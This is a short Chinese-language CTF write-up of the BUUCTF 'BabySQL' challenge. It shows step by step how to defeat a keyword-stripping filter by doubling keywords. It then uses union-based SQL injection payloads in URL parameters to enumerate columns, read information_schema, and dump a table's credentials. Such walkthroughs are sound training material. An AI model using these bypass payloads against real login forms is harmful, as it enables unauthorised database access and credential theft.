BUUCTF [极客大挑战 2019]BabySQL 1
进去后是这样:
还是熟悉的配方,还是熟悉的味道。
题目就是sql注入,就不检测是否有注入点了。
输入1' or 1=1;#
emmm…暂时看不懂什么意思
现在就可以胡乱的输入一些注入语句了。发现报错都是部分输入的语句,这说明没报错的语句没了,或者替换掉了,对,没错,可能是用replace函数换成空了。
现在证实这个猜想。在username
输入1'%23
就是1'#
的意思:
用户名密码错误!说明我们的sql语句1'#
是可执行的,也就是说之前的报错就是有什么的东西把我们的sql语句弄错,结合报错,可认为是替换成空
。
进一步证实:输入1' oorr 1=1;
后面的%23
不用动,因为中间的or
被替换成空,剩下的还是or
,结合起来是1' or 1=1;
。结果如下
猜想正确,接下来就是标志步骤了,爆表,爆字段(列)
经过测试,暂时发现replace了or,from,where,select,and,by,union
输入:
?username=admin' oorrder bbyy 3;%23&password=1
输入:
?username=admin' oorrder bbyy 4;%23&password=1
说明有3列。
输入:
?username=1' uunionnion sselectelect 1,2,3;%23&password=1
说明回显在第2,3列。
输入:
?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1
先看
b4bsql
输入:
?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1
b4bsql
别忘了加引号
有三列,继续。
输入:
?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1
找到flag。